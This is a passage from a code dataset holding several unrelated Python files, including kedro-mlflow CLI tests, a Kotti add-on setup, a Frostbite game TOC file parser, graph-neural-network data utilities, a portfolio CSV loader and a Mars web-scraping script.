yaml\nfrom click.testing import CliRunner\nfrom kedro.framework.cli.cli import info\nfrom kedro.framework.session import KedroSession\nfrom kedro.framework.startup import bootstrap_project\n\nfrom kedro_mlflow.framework.cli.cli import init as cli_init\nfrom kedro_mlflow.framework.cli.cli import mlflow_commands as cli_mlflow\nfrom kedro_mlflow.framework.cli.cli import ui as cli_ui\nfrom kedro_mlflow.framework.context import get_mlflow_config\n\n\ndef extract_cmd_from_help(msg):\n # [\\s\\S] is used instead of \".\" to match any character including new lines\n cmd_txt = re.search((r\"(?<=Commands:)([\\s\\S]+)$\"), msg).group(1)\n cmd_list_detailed = cmd_txt.split(\"\\n\")\n cmd_list = [\n cmd.strip().split(\" \")[0] for cmd in cmd_list_detailed if cmd.strip() != \"\"\n ]\n return cmd_list\n\n\ndef test_cli_global_discovered(monkeypatch, tmp_path):\n monkeypatch.chdir(tmp_path)\n cli_runner = CliRunner()\n result = cli_runner.invoke(info)\n\n assert result.exit_code == 0\n assert \"kedro_mlflow\" in result.output\n\n\n# TODO: add a test to check if \"kedro mlflow\" commmand is discovered\n# I can't make it work with cli.invoke\n# because discovery mechanisme is linked to setup.py\n\n\n## This command is temporarlily deactivated beacuse of a bug in kedro==0.17.3, see: https://github.com/Galileo-Galilei/kedro-mlflow/issues/193\n# def test_mlflow_commands_outside_kedro_project(monkeypatch, tmp_path):\n# monkeypatch.chdir(tmp_path)\n# cli_runner = CliRunner()\n# result = cli_runner.invoke(cli_mlflow)\n# assert {\"new\"} == set(extract_cmd_from_help(result.output))\n\n\ndef test_mlflow_commands_inside_kedro_project(monkeypatch, kedro_project):\n monkeypatch.chdir(kedro_project)\n # launch the command to initialize the project\n cli_runner = CliRunner()\n result = cli_runner.invoke(cli_mlflow)\n assert {\"init\", \"ui\"} == set(extract_cmd_from_help(result.output))\n assert \"You have not updated your template yet\" not in result.output\n\n\ndef test_cli_init(monkeypatch, kedro_project):\n # \"kedro_project\" is a pytest.fixture declared in conftest\n monkeypatch.chdir(kedro_project)\n cli_runner = CliRunner()\n result = cli_runner.invoke(cli_init)\n\n # FIRST TEST:\n # the command should have executed propery\n assert result.exit_code == 0\n\n # check mlflow.yml file\n assert \"'conf/local/mlflow.yml' successfully updated.\" in result.output\n assert (kedro_project / \"conf\" / \"local\" / \"mlflow.yml\").is_file()\n\n\ndef test_cli_init_existing_config(monkeypatch, kedro_project_with_mlflow_conf):\n # \"kedro_project\" is a pytest.fixture declared in conftest\n cli_runner = CliRunner()\n monkeypatch.chdir(kedro_project_with_mlflow_conf)\n bootstrap_project(kedro_project_with_mlflow_conf)\n\n with KedroSession.create(\n \"fake_project\", project_path=kedro_project_with_mlflow_conf\n ) as session:\n context = session.load_context()\n # emulate first call by writing a mlflow.yml file\n yaml_str = yaml.dump(dict(mlflow_tracking_uri=\"toto\"))\n (\n kedro_project_with_mlflow_conf / context.CONF_ROOT / \"local\" / \"mlflow.yml\"\n ).write_text(yaml_str)\n\n result = cli_runner.invoke(cli_init)\n\n # check an error message is raised\n assert \"A 'mlflow.yml' already exists\" in result.output\n\n # check the file remains unmodified\n assert get_mlflow_config().mlflow_tracking_uri.endswith(\"toto\")\n\n\ndef test_cli_init_existing_config_force_option(monkeypatch, kedro_project):\n # \"kedro_project\" is a pytest.fixture declared in conftest\n monkeypatch.chdir(kedro_project)\n cli_runner = CliRunner()\n\n bootstrap_project(kedro_project)\n with KedroSession.create(project_path=kedro_project) as session:\n context = session.load_context()\n\n # emulate first call by writing a mlflow.yml file\n yaml_str = yaml.dump(dict(mlflow_tracking_uri=\"toto\"))\n (kedro_project / context.CONF_ROOT / \"local\" / \"mlflow.yml\").write_text(\n yaml_str\n )\n\n result = cli_runner.invoke(cli_init, args=\"--force\")\n\n # check an error message is raised\n assert \"successfully updated\" in result.output\n\n # check the file remains unmodified\n assert get_mlflow_config().mlflow_tracking_uri.endswith(\"mlruns\")\n\n\n@pytest.mark.parametrize(\n \"env\",\n [\"base\", \"local\"],\n)\ndef test_cli_init_with_env(monkeypatch, kedro_project, env):\n # \"kedro_project\" is a pytest.fixture declared in conftest\n monkeypatch.chdir(kedro_project)\n cli_runner = CliRunner()\n result = cli_runner.invoke(cli_init, f\"--env {env}\")\n\n # FIRST TEST:\n # the command should have executed propery\n assert result.exit_code == 0\n\n # check mlflow.yml file\n assert f\"'conf/{env}/mlflow.yml' successfully updated.\" in result.output\n assert (kedro_project / \"conf\" / env / \"mlflow.yml\").is_file()\n\n\n@pytest.mark.parametrize(\n \"env\",\n [\"debug\"],\n)\ndef test_cli_init_with_wrong_env(monkeypatch, kedro_project, env):\n # \"kedro_project\" is a pytest.fixture declared in conftest\n monkeypatch.chdir(kedro_project)\n cli_runner = CliRunner()\n result = cli_runner.invoke(cli_init, f\"--env {env}\")\n\n # A warning message should appear\n assert f\"No env '{env}' found\" in result.output\n\n\n# TODO : This is a fake test. add a test to see if ui is properly up\n# I tried mimicking mlflow_cli with mock but did not achieve desired result\n# other solution is to use pytest-xprocess\n# TODO: create an initlaized_kedro_project fixture with a global scope\ndef test_ui_is_up(monkeypatch, mocker, kedro_project_with_mlflow_conf):\n\n monkeypatch.chdir(kedro_project_with_mlflow_conf)\n cli_runner = CliRunner()\n\n # This does not test anything : the goal is to check whether it raises an error\n ui_mocker = mocker.patch(\n \"subprocess.call\"\n ) # make the test succeed, but no a real test\n cli_runner.invoke(cli_ui)\n ui_mocker.assert_called_once_with(\n [\n \"mlflow\",\n \"ui\",\n \"--backend-store-uri\",\n (kedro_project_with_mlflow_conf / \"mlruns\").as_uri(),\n \"--host\",\n \"127.0.0.1\",\n \"--port\",\n \"5000\",\n ]\n )\n\n # OTHER ATTEMPT:\n # try:\n # import threading\n # thread = threading.Thread(target=subprocess.call, args=([\"kedro\", \"mlflow\", \"sqf\"],))\n # thread.start()\n # except Exception as err:\n # raise err\n # print(thread)\n # assert thread.is_alive()\n\n\ndef test_ui_overwrite_conf_at_runtime(\n monkeypatch, mocker, kedro_project_with_mlflow_conf\n):\n\n monkeypatch.chdir(kedro_project_with_mlflow_conf)\n cli_runner = CliRunner()\n\n # This does not test anything : the goal is to check whether it raises an error\n ui_mocker = mocker.patch(\n \"subprocess.call\"\n ) # make the test succeed, but no a real test\n cli_runner.invoke(cli_ui, [\"--host\", \"0.0.0.0\", \"--port\", \"5001\"])\n ui_mocker.assert_called_once_with(\n [\n \"mlflow\",\n \"ui\",\n \"--backend-store-uri\",\n (kedro_project_with_mlflow_conf / \"mlruns\").as_uri(),\n \"--host\",\n \"0.0.0.0\",\n \"--port\",\n \"5001\",\n ]\n )\n","sub_path":"tests/framework/cli/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":7287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"39546860","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nCreated on 2015-03-30\n:author: Andreas Kaiser (disko@binary-punks.com)\n\"\"\"\n\nimport datetime\nimport uuid\n\nfrom kotti.resources import File\nfrom pyramid.i18n import TranslationStringFactory\nfrom pyramid.renderers import JSON\nfrom pyramid.renderers import JSONP\n\n_ = TranslationStringFactory('kotti_conference')\n\n\ndef datetime_adapter(obj, request):\n \"\"\" Convert date or datetime into a string object that can be used in JSON.\n The best format for this is ISO 8601, as this can be parsed natively by all\n Javascript engines.\n\n :param obj: date or datetime to be converted to string\n :type obj: :class:`datetime.date` or :class:`datetime.datetime`\n\n :param request: current request\n :type request: :class:`pyramid.request.Request`\n\n :result: ISO formatted date(time)\n :rtype: str\n \"\"\"\n\n return obj.isoformat()\n\n\ndef uuid_adapter(obj, request):\n \"\"\" Convert uuid into a string that can be used in JSON (JSON / Javascript\n don't have a native UUID type).\n\n :param obj: UUID converted to string\n :type obj: :class:`uuid.UUID`\n\n :param request: current request\n :type request: :class:`pyramid.request.Request`\n\n :result: UUID string (e.g. 5f2f5890-d720-11e4-85d4-a757eac847f5)\n :rtype: str\n \"\"\"\n\n return str(obj)\n\n\ndef kotti_configure(settings):\n \"\"\" Add a line like this to you .ini file::\n\n kotti.configurators =\n kotti_conference.kotti_configure\n\n to enable the ``kotti_conference`` add-on.\n\n :param settings: Kotti configuration dictionary.\n :type settings: dict\n \"\"\"\n\n settings['pyramid.includes'] += ' kotti_conference'\n\n settings['kotti.available_types'] += \\\n ' kotti_conference.resources.Conference' \\\n ' kotti_conference.resources.Speaker' \\\n ' kotti_conference.resources.Talk'\n\n settings['kotti.fanstatic.view_needed'] += ' kotti_conference.fanstatic.css_and_js'\n\n File.type_info.addable_to.append('Conference')\n\n\ndef includeme(config):\n \"\"\" Don't add this to your ``pyramid_includes``, but add the\n ``kotti_configure`` above to your ``kotti.configurators`` instead.\n\n :param config: Pyramid configurator object.\n :type config: :class:`pyramid.config.Configurator`\n \"\"\"\n\n config.add_translation_dirs('kotti_conference:locale')\n config.add_static_view('static-kotti_conference', 'kotti_conference:static')\n\n # We're extending Pyramid's JSON renderer with some adapters to make it\n # render date, datetime and uuid object without having to convert them\n # every single time explicitely ourselves. Instead the conversion is now\n # done implicitely by Pyramid and the adapter functions above. This is\n # especially convenient in combination with ``__json__`` methods on the\n # resource classes (or content types).\n json_renderer = JSON(indent=4)\n json_renderer.add_adapter(datetime.datetime, datetime_adapter)\n json_renderer.add_adapter(datetime.date, datetime_adapter)\n json_renderer.add_adapter(uuid.UUID, uuid_adapter)\n config.add_renderer('json', json_renderer)\n\n # Same for JSONP (http://en.wikipedia.org/wiki/JSONP).\n jsonp_renderer = JSONP(indent=4)\n jsonp_renderer.add_adapter(datetime.datetime, datetime_adapter)\n jsonp_renderer.add_adapter(datetime.date, datetime_adapter)\n jsonp_renderer.add_adapter(uuid.UUID, uuid_adapter)\n config.add_renderer('jsonp', jsonp_renderer)\n\n config.scan(__name__)\n","sub_path":"kotti_conference/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"94012382","text":"#This is essentially a binary JSON type container.\n#Each entry can hold a value of a specic type or more entries embedded into it.\n#Values are always little endian.\nfrom struct import unpack\nimport io\nfrom collections import OrderedDict\n\ndef unXor(path):\n \"\"\"Take a filename (usually toc or cat), decrypt the file if necessary, close it and return the unencrypted data in a memory stream.\n\n As toc files are ~300 kB at most, make a memory stream even if the file wasn't encrypted in the first place (to get rid of the physical file handle).\"\"\"\n\n f=open(path,\"rb\")\n if path[-4:]==\".toc\":\n f=unXorMEA(f) #Detect and decrypt Mass Effect: Andromeda.\n\n magic=f.read(4)\n if magic in (b\"\\x00\\xD1\\xCE\\x00\"): #the file is XOR encrypted and has a signature\n f.seek(296) #skip the signature\n key=[f.read(1)[0]^0x7b for i in range(260)] #bytes 257 258 259 are not used\n encryptedData=f.read()\n size=len(encryptedData)\n data=bytearray(size) #initalize the buffer\n for i in range(size):\n data[i]=key[i%257]^encryptedData[i]\n elif magic in (b\"\\x00\\xD1\\xCE\\x01\",b\"\\x00\\xD1\\xCE\\x03\"): #the file has a signature, but an empty key; it's not encrypted\n f.seek(556) #skip signature + skip empty key\n data=f.read()\n else: #the file is not encrypted; no key + no signature\n f.seek(0)\n data=f.read()\n f.close()\n\n return io.BytesIO(data)\n\ndef unXorMEA(f):\n f.seek(0,2)\n size=f.tell()\n f.seek(-32,2)\n signature=f.read(32)\n if signature!=b\"@e!adnXd$^!rfOsrDyIrI!xVgHeA!6Vc\":\n f.seek(0)\n return f\n\n #Mass Effect: Andromeda uses custom encryption on TOC files.\n f.seek(-36,2)\n headerSize=unpackLE(\"I\",f.read(4))[0]\n f.seek(0)\n encryptedData=f.read(size-headerSize)\n dataLen=len(encryptedData)\n data=bytearray(dataLen)\n key=encryptedData[0]\n for i in range(dataLen):\n data[i]=encryptedData[i]^key\n key=((encryptedData[0]^encryptedData[i])-(i%256))&0xFF\n\n f.close()\n return io.BytesIO(data)\n\n\n\ndef decode7bit(f):\n \"\"\"Reads the next few bytes in a file as LEB128/7bit encoding and returns an integer\"\"\"\n result,shift = 0,0\n while 1:\n byte=f.read(1)[0]\n result|=(byte&0x7f)<>7==0: return result\n shift+=7\n\ndef readNullTerminatedString(f):\n result=b\"\"\n while 1:\n byte=f.read(1)\n if byte==b\"\\x00\": break\n result+=byte\n\n return result.decode()\n\ndef unpackLE(typ,data): return unpack(\"<\"+typ,data)\ndef unpackBE(typ,data): return unpack(\">\"+typ,data)\n\nclass Guid:\n def __init__(self,f,bigEndian):\n #The first 3 elements are native endian and the last one is big endian.\n unpacker=unpackBE if bigEndian else unpackLE\n data=f.read(16)\n num1,num2,num3=unpacker(\"IHH\",data[0:8])\n num4=unpackBE(\"Q\",data[8:16])[0]\n self.val=num1,num2,num3,num4\n def frombytes(data,bigEndian):\n #Hack to init Guid from memory data.\n f=io.BytesIO(data)\n return Guid(f,bigEndian)\n def __eq__(self,other):\n return self.val==other.val\n def __ne__(self,other):\n return self.val!=other.val\n def __hash__(self):\n return hash(self.val)\n\n def format(self):\n return \"%08x-%04x-%04x-%04x-%012x\" % (self.val[0],self.val[1],self.val[2],\n (self.val[3]>>48)&0xFFFF,self.val[3]&0x0000FFFFFFFFFFFF)\n def isNull(self):\n return self.val==(0,0,0,0)\n\nclass DbObjectId:\n def __init__(self,f):\n self.id=f.read(12)\n\nclass DbTimestamp:\n def __init__(self,f):\n self.timeData=f.read(8)\n\nclass DbRecordId:\n def __init__(self,f):\n self.extentId, self.pageId, self.slotId = unpackLE(\"HHH\",f.read(6))\n\nclass Vector4D:\n def __init__(self,f):\n self.x, self.y, self.z, self.w = unpackLE(\"ffff\",f.read(16))\n\nclass Matrix4x4:\n def __init__(self,f):\n self.vecs=list()\n for i in range(4):\n self.vecs.append(Vector4D(f))\n\nclass DbTimespan:\n def __init__(self,f):\n val=decode7bit(f)\n lower=(val&0x00000000FFFFFFFF)\n upper=(val&0xFFFFFFFF00000000)>>32\n flag=lower&1\n self.timeSpan=((lower>>1)^flag)|(((upper>>1)^flag)<<32)\n\nclass DbObjectType:\n Eoo = 0x0\n Array = 0x1\n Object = 0x2\n HomoArray = 0x3\n Null = 0x4\n ObjectId = 0x5\n Bool = 0x6\n String = 0x7\n Integer = 0x8\n Long = 0x9\n VarInt = 0xA\n Float = 0xB\n Double = 0xC\n Timestamp = 0xD\n RecordId = 0xE\n GUID = 0xF\n SHA1 = 0x10\n Matrix44 = 0x11\n Vector4 = 0x12\n Blob = 0x13\n Attachment = 0x14\n Timespan = 0x15\n StringAtom = 0x16\n TypedBlob = 0x17\n Environment = 0x18\n InternalMin = 0x0\n InternalMax = 0x1F\n Mask = 0x1F\n TaggedField = 0x40\n Anonymous = 0x80\n\n def __init__(self):\n pass\n\nclass DbObject:\n def __init__(self,f,defaultVal=None): #read the data from file\n if not f:\n self.content=defaultVal\n return\n\n header=f.read(1)[0]\n self.typ=header&0x1F\n self.flags=header>>5\n if self.flags&0x04:\n #root entry\n self.name=\"\"\n else:\n self.name=readNullTerminatedString(f)\n\n if self.typ==DbObjectType.Array:\n self.listLength=decode7bit(f) #self\n entries=list()\n endPos=f.tell()+self.listLength\n while f.tell()>1)^(val&1)\n\n elif self.typ==DbObjectType.Float:\n self.content=unpackLE(\"f\",f.read(4))[0]\n\n elif self.typ==DbObjectType.Double:\n self.content=unpackLE(\"d\",f.read(8))[0]\n\n elif self.typ==DbObjectType.Timestamp:\n self.content=DbTimestamp(f)\n\n elif self.typ==DbObjectType.RecordId:\n self.content=DbRecordId(f)\n\n elif self.typ==DbObjectType.GUID:\n self.content=Guid(f,False)\n\n elif self.typ==DbObjectType.SHA1:\n self.content=f.read(20)\n\n elif self.typ==DbObjectType.Vector4:\n self.content=Vector4D(f)\n\n elif self.typ==DbObjectType.Matrix44:\n self.content=Matrix4x4(f)\n\n elif self.typ==DbObjectType.Blob:\n self.content=f.read(decode7bit(f))\n\n elif self.typ==DbObjectType.Attachment:\n self.content=f.read(20) #SHA1\n\n elif self.typ==DbObjectType.Timespan:\n self.content=DbTimespan(f)\n\n else:\n raise Exception(\"Unhandled DB object type 0x%02x at 0x%08x.\" % (self.typ,f.tell()))\n\n def get(self,fieldName,defaultVal=None):\n try: return self.elems[fieldName].content\n except: return defaultVal\n\n def getSubObject(self,fieldName):\n try: return self.elems[fieldName]\n except: return None\n\ndef readToc(tocPath): #take a filename, decrypt the file and make an entry out of it\n return DbObject(unXor(tocPath))\n","sub_path":"frostbite3/dbo.py","file_name":"dbo.py","file_ext":"py","file_size_in_byte":8251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"575281244","text":"import numpy as np\nimport scipy.sparse as sp\nimport torch\nimport sys\nimport pickle as pkl\nimport networkx as nx\n\ndef parse_index_file(filename):\n \"\"\"Parse index file.\"\"\"\n index = []\n for line in open(filename):\n index.append(int(line.strip()))\n return index\n\n\ndef load_data(path=\"citation\", dataset=\"pubmed\"):\n \"\"\"Load citation network dataset.\"\"\"\n print('Loading {} dataset...'.format(dataset))\n\n names = ['x', 'y', 'tx', 'ty', 'allx', 'ally', 'graph']\n objects = []\n for i in range(len(names)):\n with open(\"{}/{}/ind.{}.{}\".format(path, dataset, dataset, names[i]), 'rb') as f:\n if sys.version_info > (3, 0):\n objects.append(pkl.load(f, encoding='latin1'))\n else:\n objects.append(pkl.load(f))\n\n x, y, tx, ty, allx, ally, graph = tuple(objects) # x等csr矩阵，y等numpy.ndarray，graph是collections.defaultdict\n test_idx_reorder = parse_index_file(\"{}/{}/ind.{}.test.index\".format(path, dataset, dataset))\n test_idx_range = np.sort(test_idx_reorder)\n\n if dataset == 'citeseer':\n # Fix citeseer dataset (there are some isolated nodes in the graph)\n # Find isolated nodes, add them as zero-vecs into the right position\n test_idx_range_full = range(min(test_idx_reorder), max(test_idx_reorder)+1)\n tx_extended = sp.lil_matrix((len(test_idx_range_full), x.shape[1])) # FutureWarning: future versions will not create a writeable array from broadcast_array. Set the writable flag explicitly to avoid this warning.\n tx_extended[test_idx_range-min(test_idx_range), :] = tx\n tx = tx_extended\n ty_extended = np.zeros((len(test_idx_range_full), y.shape[1]))\n ty_extended[test_idx_range-min(test_idx_range), :] = ty\n ty = ty_extended\n\n features = sp.vstack((allx, tx)).tolil() # FutureWarning同上\n features[test_idx_reorder, :] = features[test_idx_range, :]\n features = preprocess_features(features) # 得到features是csr\n\n adj = nx.adjacency_matrix(nx.from_dict_of_lists(graph)) # 得到adj是csr\n adj = preprocess_adj(adj)\n\n labels = np.vstack((ally, ty))\n labels[test_idx_reorder, :] = labels[test_idx_range, :]\n\n idx_test = test_idx_range.tolist()\n idx_train = range(len(y))\n idx_val = range(len(y), len(y)+500)\n\n features = torch.FloatTensor(np.array(features.todense()))\n labels = torch.LongTensor(np.where(labels)[1]) # citeseer数据集中孤立点会被忽略\n adj = sparse_mx_to_torch_sparse_tensor(adj)\n \n idx_train = torch.LongTensor(idx_train)\n idx_val = torch.LongTensor(idx_val)\n idx_test = torch.LongTensor(idx_test)\n\n return adj, features, labels, idx_train, idx_val, idx_test\n\ndef preprocess_features(features):\n \"\"\"Row-normalize feature matrix.\"\"\"\n rowsum = np.array(features.sum(1))\n r_inv = np.power(rowsum, -1).flatten()\n r_inv[np.isinf(r_inv)] = 0.\n r_mat_inv = sp.diags(r_inv)\n features = r_mat_inv.dot(features)\n return features\n\ndef normalize_adj(adj):\n \"\"\"Symmetrically normalize adjacency matrix.\"\"\"\n adj = sp.coo_matrix(adj)\n rowsum = np.array(adj.sum(1))\n d_inv_sqrt = np.power(rowsum, -0.5).flatten()\n d_inv_sqrt[np.isinf(d_inv_sqrt)] = 0.\n d_mat_inv_sqrt = sp.diags(d_inv_sqrt)\n return adj.dot(d_mat_inv_sqrt).transpose().dot(d_mat_inv_sqrt).tocoo()\n\n\ndef preprocess_adj(adj):\n \"\"\"Preprocessing of adjacency matrix for simple GCN model.\"\"\"\n adj_normalized = normalize_adj(adj + sp.eye(adj.shape[0]))\n return adj_normalized\n\n\ndef accuracy(output, labels):\n preds = output.max(1)[1].type_as(labels)\n correct = preds.eq(labels).double()\n correct = correct.sum()\n return correct / len(labels)\n\n\ndef sparse_mx_to_torch_sparse_tensor(sparse_mx):\n \"\"\"Convert a scipy sparse matrix to a torch sparse tensor.\"\"\"\n sparse_mx = sparse_mx.tocoo().astype(np.float32)\n indices = torch.from_numpy(\n np.vstack((sparse_mx.row, sparse_mx.col)).astype(np.int64))\n values = torch.from_numpy(sparse_mx.data)\n shape = torch.Size(sparse_mx.shape)\n return torch.sparse.FloatTensor(indices, values, shape)","sub_path":"codes/gcn/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"499730991","text":"\"\"\"Portfolio parser module\"\"\"\n__docformat__ = \"numpy\"\n\nimport os\nimport argparse\nfrom typing import List, Tuple\nfrom tabulate import tabulate\nimport pandas as pd\nimport yfinance as yf\nfrom gamestonk_terminal.helper_funcs import check_valid_path, parse_known_args_and_warn\n\n# pylint: disable=no-member,unsupported-assignment-operation,unsubscriptable-object\n\n\ndef load_csv_portfolio(other_args: List[str]) -> Tuple[str, pd.DataFrame]:\n \"\"\"Load portfolio from csv\n\n Parameters\n ----------\n other_args: List[str]\n Argparse arguments\n\n Returns\n ----------\n portfolio_name : str\n Portfolio name\n portfolio : pd.DataFrame\n Portfolio dataframe\n \"\"\"\n parser = argparse.ArgumentParser(\n prog=\"load\",\n add_help=False,\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n description=\"Function to get portfolio from predefined csv file inside portfolios folder\",\n )\n parser.add_argument(\n \"-p\",\n \"--path\",\n default=\"my_portfolio\",\n type=check_valid_path,\n help=\"Path to csv file\",\n dest=\"path\",\n )\n parser.add_argument(\n \"--no_sector\",\n action=\"store_true\",\n default=False,\n help=\"Add sector to dataframe\",\n dest=\"sector\",\n )\n parser.add_argument(\n \"--no_last_price\",\n action=\"store_true\",\n default=False,\n help=\"Add last price from yfinance\",\n dest=\"last_price\",\n )\n parser.add_argument(\n \"--nan\",\n action=\"store_true\",\n default=False,\n help=\"Show nan entries from csv\",\n dest=\"show_nan\",\n )\n\n try:\n ns_parser = parse_known_args_and_warn(parser, other_args)\n if not ns_parser:\n return \"\", pd.DataFrame()\n\n full_path = os.path.abspath(\n os.path.join(\n \"gamestonk_terminal\",\n \"portfolio\",\n \"portfolio_analysis\",\n \"portfolios\",\n f\"{ns_parser.path}.csv\",\n )\n )\n df = pd.read_csv(full_path)\n\n if not ns_parser.sector:\n df[\"sector\"] = df.apply(\n lambda row: yf.Ticker(row.Ticker).info[\"sector\"]\n if \"sector\" in yf.Ticker(row.Ticker).info.keys()\n else \"yf Other\",\n axis=1,\n )\n\n if not ns_parser.last_price:\n df[\"last_price\"] = df.apply(\n lambda row: yf.Ticker(row.Ticker)\n .history(period=\"1d\")[\"Close\"][-1]\n .round(2),\n axis=1,\n )\n df[\"value\"] = df[\"Shares\"] * df[\"last_price\"]\n\n if not ns_parser.show_nan:\n df = df.dropna(axis=1)\n\n print(tabulate(df, tablefmt=\"fancy_grid\", headers=df.columns))\n print(\"\")\n return ns_parser.path, df\n\n except Exception as e:\n print(e, \"\\n\")\n return \"\", pd.DataFrame()\n\n\ndef breakdown_by_group(portfolio: pd.DataFrame, other_args: List[str]):\n \"\"\"Breakdown of portfolio by a specified group\n\n Parameters\n ----------\n portfolio: pd.DataFrame\n Dataframe of portfolio generated from menu\n other_args: List[str]\n Argparse arguments\n \"\"\"\n parser = argparse.ArgumentParser(\n prog=\"groupby\",\n add_help=False,\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n description=\"Displays portfolio grouped by a given column\",\n )\n parser.add_argument(\n \"-g\",\n \"--group\",\n type=str,\n dest=\"group\",\n default=\"Ticker\",\n help=\"Column to group by\",\n )\n\n # The following arguments will be used in a later PR for customizable 'reports'\n\n # The --func flag will need to be tested that it exists for pandas groupby\n # parser.add_argument(\"-f\",\n # \"--func\",\n # type=str,\n # dest=\"function\",\n # help=\"Aggregate function to apply to groups\"\n # )\n # parser.add_argument(\"-d\",\n # \"--display\",\n # default = None,\n # help = \"Columns to display\",\n # dest=\"cols\")\n\n try:\n ns_parser = parse_known_args_and_warn(parser, other_args)\n if not ns_parser:\n return\n\n group_column = ns_parser.group\n if group_column not in portfolio.columns:\n print(f\"The column {group_column} is not found in your portfolio data\")\n return\n\n grouped_df = pd.DataFrame(portfolio.groupby(group_column).agg(sum)[\"value\"])\n print(\n tabulate(grouped_df, headers=[group_column, \"value\"], tablefmt=\"fancy_grid\")\n )\n print(\"\")\n\n # The following will be used to display certain columns (i.e show Dollars or Percents)\n # valid_columns = []\n # if ns_parser.cols:\n # for col in ns_parser.cols:\n # if col in portfolio.columns:\n # valid_columns.append(col)\n # else:\n # print(f\"{col} not in portfolio columns\")\n # if valid_columns:\n # valid_columns = [\"Shares\"]\n\n except Exception as e:\n print(e, \"\\n\")\n","sub_path":"gamestonk_terminal/portfolio/portfolio_analysis/portfolio_parser.py","file_name":"portfolio_parser.py","file_ext":"py","file_size_in_byte":5267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"378132973","text":"# Dependencies\nfrom bs4 import BeautifulSoup as bs\nimport requests\nfrom splinter import Browser\nimport pandas as pd\nimport time\nimport os\n\n\ndef init_browser():\n \"\"\" Connects path to chromedriver \"\"\"\n \n executable_path = {'executable_path': 'chromedriver.exe'}\n return Browser('chrome', **executable_path, headless=False)\nmarsdata = {}\n\ndef scrape_News():\n \n # URL of page to be scraped\n news_url = 'https://mars.nasa.gov/news/'\n browser = init_browser()\n browser.visit(news_url)\n time.sleep(3)\n news_response = requests.get(news_url)\n\n # Create BeautifulSoup object; \n news_soup = bs(news_response.text, 'lxml')\n try:\n # pull latest news title and paragrapgh\n results = news_soup.find('div', class_='features')\n title = results.find('div', class_='content_title').text\n paragraph = results.find('div', class_='rollover_description').text\n\n \n #store results into a dictionary marsdata\n marsdata[\"Latest_news_titles\"] = title\n marsdata[\"Latest_news_summary\"] = paragraph\n\n except AttributeError as e:\n return(e)\n \n finally:\n browser.quit()\n\n # task 2\ndef scrape_Weather():\n\n twitter_url = 'https://twitter.com/marswxreport?lang=en'\n twitter_response = requests.get(twitter_url)\n twitter_soup = bs(twitter_response.text, 'lxml')\n try:\n twitter_result = twitter_soup.find('div', class_='js-tweet-text-container')\n mars_weather=twitter_result.text.strip()\n \n \n #store results into a dictionary marsdata\n marsdata[\"marsweather\"] = mars_weather\n\n except AttributeError as e:\n print(e)\n \n \n\n # # task 3\ndef scrape_Image():\n # Call on chromedriver function to use for splinter\n browser = init_browser()\n\n image_url = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\n \n browser.visit(image_url)\n\n time.sleep(1)\n try:\n browser.click_link_by_partial_text('FULL IMAGE')\n image_html = browser.html\n\n image_soup = bs(image_html, \"html.parser\")\n \n featured_image = image_soup.select_one(\".carousel_item\").get(\"style\")\n featured_image = featured_image.split(\"\\'\")[1]\n featured_image_url = f'https://www.jpl.nasa.gov{featured_image}'\n \n # Store url to dictionary\n marsdata[\"featured_image_url\"] = featured_image_url\n except AttributeError as e:\n print(e)\n finally:\n browser.quit()\n\n # task 4\ndef scrape_Facts():\n browser = init_browser()\n facts_url = 'https://space-facts.com/mars/'\n browser.visit(facts_url)\n time.sleep(1)\n try:\n facts = pd.read_html(facts_url)\n mars_df = facts[0]\n mars_df.columns = ['Description', 'Value']\n mars_df.set_index('Description', inplace=True)\n\n mars_facts = mars_df.to_html()\n mars_facts.replace(\"\\n\",\"\")\n mars_df.to_html('mars_facts.html')\n \n marsdata['mars_facts'] = mars_facts\n\n print('Mars Facts:'+ mars_facts)\n \n except AttributeError as e:\n print(e)\n\n finally:\n browser.quit()\n \n #task 5\ndef scrape_Hemispheres():\n # Call on chromedriver function to use for splinter\n browser = init_browser()\n hemisphere_url = 'https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars'\n browser.visit(hemisphere_url)\n time.sleep(2)\n hemisphere_html = browser.html\n hemisphere_soup = bs(hemisphere_html, 'lxml')\n base_url =\"https://astrogeology.usgs.gov\"\n try:\n image_list = hemisphere_soup.find_all('div', class_='item')\n\n # Create list to store dictionaries of data\n hemisphere_image_urls = []\n\n # Loop through list of hemispheres and click on each one to find large resolution image\n for image in image_list:\n\n # Create a dicitonary to store urls and titles\n hemisphere_dict = {}\n \n # Find link to large image\n href = image.find('a', class_='itemLink product-item')\n link = base_url + href['href']\n\n # Visit the link\n browser.visit(link)\n\n # Wait 1 second \n time.sleep(2)\n \n # Parse the html of the new page\n hemisphere_html2 = browser.html\n hemisphere_soup2 = bs(hemisphere_html2, 'lxml')\n\n # Find the title\n img_title = hemisphere_soup2.find('div', class_='content').find('h2', class_='title').text\n \n # Append to dict\n hemisphere_dict['title'] = img_title\n \n # Find image url\n img_url = hemisphere_soup2.find('div', class_='downloads').find('a')['href']\n \n # Append to dict\n hemisphere_dict['url_img'] = img_url\n \n # Append dict to list\n hemisphere_image_urls.append(hemisphere_dict)\n \n # Store hemisphere image urls to dictionary\n marsdata['hemisphere_image_urls'] = hemisphere_image_urls\n except AttributeError as e:\n print(e)\n\ndef scrape(): \n \n scrape_News()\n scrape_Weather()\n scrape_Image()\n scrape_Facts()\n scrape_Hemispheres() \n return marsdata\n ","sub_path":"Missions_to_Mars/scrape_mars.py","file_name":"scrape_mars.py","file_ext":"py","file_size_in_byte":5370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"570986321","text":"import 